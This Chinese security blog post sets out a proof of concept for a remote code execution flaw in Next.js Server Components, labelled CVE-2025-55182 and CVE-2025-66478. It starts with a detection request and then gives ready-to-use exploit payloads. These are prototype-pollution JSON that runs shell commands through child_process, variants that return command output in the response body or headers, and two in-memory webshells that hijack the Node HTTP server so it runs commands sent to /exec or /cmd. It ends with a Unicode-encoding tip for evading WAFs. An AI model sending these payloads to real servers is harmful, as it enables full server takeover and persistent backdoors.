Next.js 默认配置即可RCE,速修!附POC 回显、内存马、unicode编码(CVE-2025-55182&CVE-2025-66478)


前言

Next.js 默认配置即可rce,速修!

漏洞检测

可使用如下精简无害化poc进行探测扫描,如果响应500错误,且响应body包含E{"digest"、digest或者Error这些错误中的两个以上,即表明目标可能存在next.js rce漏洞。

  • 这是 Next.js 在开发模式或特定生产配置下,发生 RSC 错误时返回的特有错误格式。digest 是 Next.js 用来标识错误的哈希值。
  • 同时满足这两个条件,可以高置信度地确认漏洞存在。因为这不仅证明了服务器崩溃了,还证明了崩溃是由 RSC 相关的错误引起的。
POST / HTTP/1.1
Host: your-nextjs-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA1B2C3D4E5F6G7H8
Next-Action: 9f8c7b6a5d4e3c2b1a0f9e8d7c6b5a4d
X-Nextjs-Request-Id: 123e4567-e89b-12d3-a456-426614174000
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
Content-Length: 234

------WebKitFormBoundaryA1B2C3D4E5F6G7H8
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryA1B2C3D4E5F6G7H8
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryA1B2C3D4E5F6G7H8--

漏洞利用

弹计算器

 POST / HTTP/1.1
 Host: localhost
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
 Next-Action: x
 X-Nextjs-Request-Id: b5dce965
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
 X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
 Content-Length: 565

 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
 Content-Disposition: form-data; name="0"

 {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
 Content-Disposition: form-data; name="1"

 "$@0"
 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
 Content-Disposition: form-data; name="2"

 []
 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

body回显

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('date',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

header回显

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

base64编码回显内容

只需要使用 toString('base64') 即可,如下图所示

内存马

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/cmd'&&req.method==='POST'){let body='';req.on('data',chunk=>body+=chunk.toString());req.on('end',()=>{try{const postData=JSON.parse(body);const cmd=postData.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));})}catch(e){res.writeHead(400,{'Content-Type':'application/json'});res.end(JSON.stringify({success:false,error:'Invalid JSON body'}));}});return;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Unicode编码

所有json内容都可以使用josn转换为Unicode的特性,可以使用我的在线工具 JSON Unicode 转换器 来实现

更新了 有关Next.js RCE(CVE-2025-51182) 的Bypass Waf 方式浅析

参考


手机扫码阅读

金和OA ContractImport.aspx XXE漏洞

天锐绿盾审批系统 findDeptPage.do SQL注入漏洞(CVE-2025-11309)

评 论